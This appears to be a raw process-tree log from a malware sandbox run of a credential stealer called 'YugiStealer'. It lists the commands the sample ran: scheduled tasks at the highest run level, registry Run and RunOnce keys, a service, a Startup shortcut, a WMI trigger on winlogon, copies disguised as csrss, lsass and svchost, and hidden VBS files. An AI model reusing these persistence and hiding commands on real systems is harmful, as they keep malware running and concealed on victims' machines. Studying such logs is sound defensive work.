C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onstart /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onstart /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\"; $Shortcut.Save()"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" }"4⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" start= auto"2⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Admin\AppData\Local\Temp\2026-07-09_04305ca3be61c9877dff7f04f2474628_akira_glassworm_rusty-stealer.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\RXChaQOV\TraumatizerV3.exe"C:\Windows\Temp\RXChaQOV\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\RXChaQOV\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\RXChaQOV\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\RXChaQOV\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\RXChaQOV\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\RXChaQOV\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\RXChaQOV\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\Temp\csrss.exeC:\Windows\Temp\csrss.exe1⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\csrss.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\csrss.exe\" }"2⤵
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Users\Public\Documents\winlogon.exeC:\Users\Public\Documents\winlogon.exe1⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onstart /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\winlogon.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\0409\WindowsUpdate.exeC:\Windows\System32\0409\WindowsUpdate.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Users\Public\Documents\lsass.exeC:\Users\Public\Documents\lsass.exe1⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\lsass.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\lsass.exe\" }"2⤵
-
C:\Users\Public\Documents\lsass.exe"C:\Users\Public\Documents\lsass.exe"3⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\lsass.exe\" start= auto"2⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\lsass.exe\" start= auto3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\lsass.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\E5hFFK5c\TraumatizerV3.exe"C:\Windows\Temp\E5hFFK5c\TraumatizerV3.exe"2⤵
-
-
C:\Windows\Temp\svchost.exeC:\Windows\Temp\svchost.exe1⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onstart /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\svchost.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\svchost.exe\" }"2⤵
-
-
C:\Windows\Temp\services.exeC:\Windows\Temp\services.exe1⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
